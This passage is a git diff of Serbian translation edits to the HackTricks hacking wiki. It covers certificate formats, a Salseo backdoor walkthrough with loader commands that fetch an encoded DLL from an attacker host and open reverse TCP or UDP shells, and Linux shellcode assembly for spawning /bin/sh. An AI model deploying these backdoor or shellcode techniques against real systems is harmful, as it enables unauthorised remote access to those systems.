navedenog, WebSec je takođe **posvećeni podržavalac HackTricks-a.** {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} - -## Licenca i Odricanje od odgovornosti +## Licenca i Izjava o odricanju odgovornosti **Proverite ih u:** @@ -128,10 +145,10 @@ Pored navedenog, WebSec je takođe **posvećeni podržavalac HackTricks-a.** Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF-u** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/SUMMARY.md b/SUMMARY.md index 878f387f1..2cefc1c32 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -695,20 +695,26 @@ * [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md) * [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md) * [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md) - * [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md) + * [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md) + * [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md) + * [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md) + * [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md) + * [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md) * [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md) + * [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md) + * [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md) + * [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md) + * [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md) * [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md) + * [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md) * [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md) * [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md) * [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md) - * [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md) - * [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md) - * [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md) - * [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md) + * [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md) + * [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md) + * [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md) * [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md) - * [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md) * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md) - * [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md) * [Exploiting Tools](exploiting/tools/README.md) * [PwnTools](exploiting/tools/pwntools.md) * [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) diff --git a/backdoors/salseo.md b/backdoors/salseo.md index 851b63325..9282837b2 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -16,13 +16,13 @@ Drugi načini podrške HackTricks-u: ## Kompajliranje binarnih fajlova -Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Trebaće vam instaliran **Visual Studio** za kompajliranje koda. +Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Trebaće vam **Visual Studio** instaliran da biste kompajlirali kod. -Kompajlirajte ove projekte za arhitekturu Windows sistema na kojem ćete ih koristiti (ako Windows podržava x64, kompajlirajte ih za tu arhitekturu). +Kompajlirajte ove projekte za arhitekturu Windows sistema na kojem ćete ih koristiti (Ako Windows podržava x64, kompajlirajte ih za tu arhitekturu). Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" Tab-u** u **"Platform Target".** -(\*\*Ako ne možete pronaći ove opcije, kliknite na **"Project Tab"** a zatim na **"\ Properties"**) +(\*\*Ako ne možete pronaći ove opcije, pritisnite na **"Project Tab"** a zatim na **"\ Properties"**) ![](<../.gitbook/assets/image (132).png>) @@ -32,7 +32,7 @@ Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se po ## Priprema Backdoor-a -Prvo, moraćete da enkodujete **EvilSalsa.dll.** Za to možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**: +Prvo, trebaće vam da enkodujete **EvilSalsa.dll.** Da biste to uradili, možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**: ### **Python** ``` @@ -52,13 +52,13 @@ Sada imate sve što vam je potrebno da izvršite ceo Salseo postupak: **enkodira ### **Dobijanje TCP reverznog shell-a (preuzimanje enkodiranog dll-a putem HTTP-a)** -Zapamtite da pokrenete nc kao osluškivač reverznog shella i HTTP server kako biste poslužili enkodirani evilsalsa. +Zapamtite da pokrenete nc kao osluškivač reverznog shella i HTTP server da poslužuje enkodirani evilsalsa. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` -### **Dobijanje UDP obrnutog školjka (preuzimanje enkodiranog dll-a putem SMB-a)** +### **Dobijanje UDP obrnutog školjka (preuzimanje enkodovanog dll-a preko SMB-a)** -Zapamtite da pokrenete nc kao osluškivač obrnutog školjka, i SMB server da posluži enkodirani evilsalsa (impacket-smbserver). +Zapamtite da treba pokrenuti nc kao osluškivač obrnutog školjka, i SMB server da služi enkodovani evilsalsa (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` @@ -87,23 +87,23 @@ Otvorite projekat SalseoLoader koristeći Visual Studio. ### Dodajte pre glavne funkcije: \[DllExport] -![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ### Instalirajte DllExport za ovaj projekat #### **Alati** --> **NuGet Package Manager** --> **Upravljanje NuGet paketima za rešenje...** -![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Pretražite DllExport paket (koristeći karticu Browse), i pritisnite Instaliraj (i prihvatite iskačući prozor)** +#### **Pretražite DllExport paket (koristeći karticu Pretraži) i pritisnite Instaliraj (i prihvatite iskačući prozor)** ![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -U vašem projekt folderu pojaviće se fajlovi: **DllExport.bat** i **DllExport\_Configure.bat** +U vašem projekt folderu pojavili su se fajlovi: **DllExport.bat** i **DllExport\_Configure.bat** ### **De**instalirajte DllExport -Pritisnite **Deinstaliraj** (da, čudno je ali verujte mi, neophodno je) +Pritisnite **Deinstaliraj** (da, čudno je, ali verujte mi, neophodno je) ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) @@ -113,7 +113,7 @@ Jednostavno **izađite** iz Visual Studio-a Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport\_Configure.bat** -Izaberite **x64** (ako ćete ga koristiti unutar x64 okruženja, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni** +Izaberite **x64** (ako ćete ga koristiti unutar x64 okvira, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni** ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) @@ -175,7 +175,7 @@ rundll32.exe SalseoLoader.dll,main Drugi načini da podržite HackTricks: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/cryptography/certificates.md b/cryptography/certificates.md index 78c623c34..a9b9d7fd4 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -8,51 +8,51 @@ Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Šta je Sertifikat -**Javni ključni sertifikat** je digitalni ID koji se koristi u kriptografiji da bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća. +**Sertifikat javnog ključa** je digitalni ID koji se koristi u kriptografiji da bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća. -Sertifikati se uglavnom izdaju od strane [sertifikacionih autoriteta](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u postavci [infrastrukture javnih ključeva](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi za specifične potrebe kako je opisano u RFC 5280. +Sertifikati se uglavnom izdaju od strane [autoriteta za sertifikaciju](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u postavci [infrastrukture javnog ključa](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi za specifične potrebe kako je opisano u RFC 5280. -## x509 Zajednička Polja +## Zajednička Polja x509 ### **Zajednička Polja u x509 Sertifikatima** U x509 sertifikatima, nekoliko **polja** igraju ključne uloge u osiguravanju validnosti i sigurnosti sertifikata. Evo razbijanja ovih polja: * **Broj Verzije** označava verziju formata x509. -* **Seriski Broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacionog Autoriteta (CA), uglavnom za praćenje opoziva. +* **Seriski Broj** jedinstveno identifikuje sertifikat unutar sistema Autoriteta za Sertifikaciju (CA), uglavnom za praćenje opoziva. * Polje **Subjekat** predstavlja vlasnika sertifikata, koji može biti mašina, pojedinac ili organizacija. Uključuje detaljne identifikacije kao što su: * **Uobičajeno Ime (CN)**: Domeni obuhvaćeni sertifikatom. * **Država (C)**, **Lokalitet (L)**, **Država ili Pokrajina (ST, S, ili P)**, **Organizacija (O)** i **Organizaciona Jedinica (OU)** pružaju geografske i organizacione detalje. * **Distingovano Ime (DN)** obuhvata punu identifikaciju subjekta. * **Izdavaoc** detalji ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekat za CA. * **Period Važenja** obeležen je vremenskim oznakama **Nije Pre** i **Nije Posle**, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma. -* Odeljak **Javni Ključ**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa. +* Odeljak **Javnog Ključa**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa. * **x509v3 proširenja** poboljšavaju funkcionalnost sertifikata, specificirajući **Upotrebu Ključa**, **Proširenu Upotrebu Ključa**, **Alternativno Ime Subjekta** i druge osobine za fino podešavanje primene sertifikata. #### **Upotreba Ključa i Proširenja** -* **Upotreba Ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključa. +* **Upotreba Ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključem. * **Proširena Upotreba Ključa** dodatno sužava slučajeve upotrebe sertifikata, npr. za autentikaciju TLS servera. * **Alternativno Ime Subjekta** i **Osnovno Ograničenje** definišu dodatna imena hostova obuhvaćena sertifikatom i da li je to CA ili sertifikat entiteta. * Identifikatori poput **Identifikatora Ključa Subjekta** i **Identifikatora Ključa Autoriteta** osiguravaju jedinstvenost i mogućnost praćenja ključeva. -* **Pristup Informacijama Autoriteta** i **Tačke Distribucije CRL-a** pružaju putanje za verifikaciju izdavaoca CA i proveru statusa opoziva sertifikata. -* **CT Pre-sertifikat SCT-ovi** nude transparentne dnevnike, ključne za javno poverenje u sertifikat. +* **Pristup Informacijama o Autoritetu** i **Tačke Distribucije CRL-a** pružaju putanje za verifikaciju izdavaoca CA i proveru statusa opoziva sertifikata. +* **CT Pre-sertifikat SCT-ovi** nude transparentne logove, ključne za javno poverenje u sertifikat. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -74,27 +74,27 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` -### **Razlika između OCSP i CRL Distribution Points** +### **Razlika između OCSP i CRL distributivnih tačaka** **OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji zajedno proveravaju da li je digitalni javni ključ sertifikata povučen, bez potrebe za preuzimanjem punog **CRL**-a. Ovaj metod je efikasniji od tradicionalnog **CRL**-a, koji pruža listu povučenih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velike datoteke. CRL-ovi mogu sadržati do 512 unosa. Više detalja dostupno je [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). ### **Šta je Transparentnost sertifikata** -Transparentnost sertifikata pomaže u borbi protiv pretnji vezanih za sertifikate osiguravajući da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ima i korisnicima. Njeni ciljevi su: +Transparentnost sertifikata pomaže u borbi protiv pretnji povezanih sa sertifikatima osiguravajući da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ovima i korisnicima. Njeni ciljevi su: -* Sprječavanje CA da izdaju SSL sertifikate za domen bez znanja vlasnika domena. +* Sprječavanje CA-ova da izdaju SSL sertifikate za domen bez znanja vlasnika domena. * Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata. * Zaštita korisnika od lažnih sertifikata. #### **Sertifikatni zapisi** -Sertifikatni zapisi su javno proverljivi, samo za dodavanje zapisi sertifikata, održavani od strane mrežnih servisa. Ovi zapisi pružaju kriptografske dokaze u svrhe revizije. Izdavači i javnost mogu podnositi sertifikate ovim zapisima ili ih pretraživati radi verifikacije. Iako tačan broj serverskih zapisa nije fiksan, očekuje se da ih ima manje od hiljadu globalno. Ovi serveri mogu biti nezavisno upravljani od strane CA, ISP-ova ili bilo koje zainteresovane strane. +Sertifikatni zapisi su javno proverljivi, samo za dodavanje zapisi sertifikata, održavani od strane mrežnih servisa. Ovi zapisi pružaju kriptografske dokaze u svrhe revizije. Izdavači i javnost mogu podnositi sertifikate ovim zapisima ili ih upitati za verifikaciju. Iako tačan broj serverskih zapisa nije fiksan, očekuje se da ih globalno bude manje od hiljadu. Ovi serveri mogu biti nezavisno upravljani od strane CA-ova, ISP-ova ili bilo koje zainteresovane entitete. #### **Upit** -Za istraživanje sertifikata Transparentnosti posetite [https://crt.sh/](https://crt.sh). +Za istraživanje sertifikatnih zapisa Transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh). -Postoje različiti formati za čuvanje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj sažetak obuhvata glavne formate i pruža smernice o konvertovanju između njih. +Različiti formati postoje za skladištenje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj sažetak obuhvata glavne formate i pruža smernice o konvertovanju između njih. ## **Formati** @@ -102,21 +102,21 @@ Postoje različiti formati za čuvanje sertifikata, svaki sa svojim slučajevima * Najčešće korišćen format za sertifikate. * Zahteva odvojene datoteke za sertifikate i privatne ključeve, kodirane u Base64 ASCII. -* Uobičajene ekstenzije: .cer, .crt, .pem, .key. +* Česte ekstenzije: .cer, .crt, .pem, .key. * Prvenstveno korišćen od strane Apache i sličnih servera. ### **DER Format** * Binarni format sertifikata. * Nedostaje "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM datotekama. -* Uobičajene ekstenzije: .cer, .der. +* Česte ekstenzije: .cer, .der. * Često korišćen sa Java platformama. ### **P7B/PKCS#7 Format** -* Čuvaju se u Base64 ASCII, sa ekstenzijama .p7b ili .p7c. -* Sadrže samo sertifikate i lanac sertifikata, isključujući privatni ključ. -* Podržano od strane Microsoft Windows i Java Tomcat. +* Skladišten u Base64 ASCII, sa ekstenzijama .p7b ili .p7c. +* Sadrži samo sertifikate i lanac sertifikata, isključujući privatni ključ. +* Podržan od strane Microsoft Windows i Java Tomcat. ### **PFX/P12/PKCS#12 Format** @@ -126,7 +126,7 @@ Postoje različiti formati za čuvanje sertifikata, svaki sa svojim slučajevima ### **Konvertovanje formata** -**PEM konverzije** su bitne za kompatibilnost: +**PEM konverzije** su esencijalne za kompatibilnost: * **x509 u PEM** ```bash @@ -174,11 +174,11 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif ``` *** -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ -Pristupite danas: +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -188,7 +188,7 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index 0d91c8e9b..c7abd04f1 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -6,35 +6,17 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -## **1. PREKORAČENJE STOGA** - -> prekoračenje bafera, prekoračenje stoga, prekoračenje steka, stekovanje - -Segmentation fault ili segment violation: Kada se pokuša pristupiti adresi memorije koja nije dodeljena procesu. - -Za dobijanje adrese funkcije unutar programa može se uraditi: -``` -objdump -d ./PROGRAMA | grep FUNCION -``` -## ROP - -### Poziv funkcije sys\_execve - -{% content-ref url="rop-syscall-execv.md" %} -[rop-syscall-execv.md](rop-syscall-execv.md) -{% endcontent-ref %} - ## **2.SHELLCODE** -Pogledajte prekide kernela: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” +Vidi prekide kernela: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR\_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ @@ -43,13 +25,13 @@ exit(0); // \_\_NR\_exit 1 xor eax, eax ; čistimo eax\ xor ebx, ebx ; ebx = 0 jer nema argumenata za prosleđivanje\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ -int 0x80 ; Izvršavanje syscall-a +int 0x80 ; Izvršiti syscall -**nasm -f elf assembly.asm** —> Vraća .o datoteku\ -**ld assembly.o -o shellcodeout** —> Daje nam izvršnu datoteku sastavljenu od asemblerskog koda i možemo izvući opkodove pomoću **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Da bismo videli da je zaista naš shellcode i izvukli OpKodove +**nasm -f elf assembly.asm** —> Vraća nam .o datoteku\ +**ld assembly.o -o shellcodeout** —> Daje nam izvršnu datoteku formiranu od asemblerskog koda i možemo izvući opkodove sa **objdump**\ +**objdump -d -Mintel ./shellcodeout** —> Da vidimo da je zaista naš shellcode i izvučemo OpKodove -**Proverite da li shellcode radi** +**Proverite da li shellcode funkcioniše** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” @@ -61,7 +43,7 @@ fp(); ``` Da biste videli da li se sistemski pozivi pravilno izvršavaju, treba da kompajlirate prethodni program i sistemski pozivi treba da se pojave u **strace ./PROGRAMA\_COMPILADO** -Prilikom kreiranja shellcode-ova možete koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodatno stavlja EIP na stek. Nakon instrukcije poziva smo ubacili string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda. +Prilikom kreiranja shellcode-a možete koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodatno stavlja EIP na stek. Nakon instrukcije poziva smo ubacili string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda. PRIMER **TRICK (/bin/sh)**: ``` @@ -83,7 +65,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` -**EKSPLOATISANJE korišćenjem Stack-a (/bin/sh):** +**Eksplatišući Stack(/bin/sh):** ``` section .text global _start @@ -113,7 +95,7 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs ``` **Lovac na jaja:** -Ovo je mali kod koji prolazi kroz stranice memorije povezane s procesom u potrazi za shellcode-om koji je tamo spremljen (traži neki potpis postavljen u shellcode-u). Korisno u slučajevima kada imate samo malo prostora za ubacivanje koda. +Ovo je mali kod koji prolazi kroz stranice memorije povezane s procesom u potrazi za shellcode-om koji je tamo spremljen (traži neki potpis koji je postavljen u shellcode-u). Korisno u slučajevima kada imate samo malo prostora za ubacivanje koda. **Polimorfni shellkodovi** @@ -136,119 +118,39 @@ call init sc: ;Aquí va el shellcode ``` -1. **Napad na pokazivač okvira (EBP)** - -Koristan u situaciji kada možemo izmeniti EBP, ali ne i EIP. - -Poznato je da prilikom izlaska iz funkcije izvršava sledeći 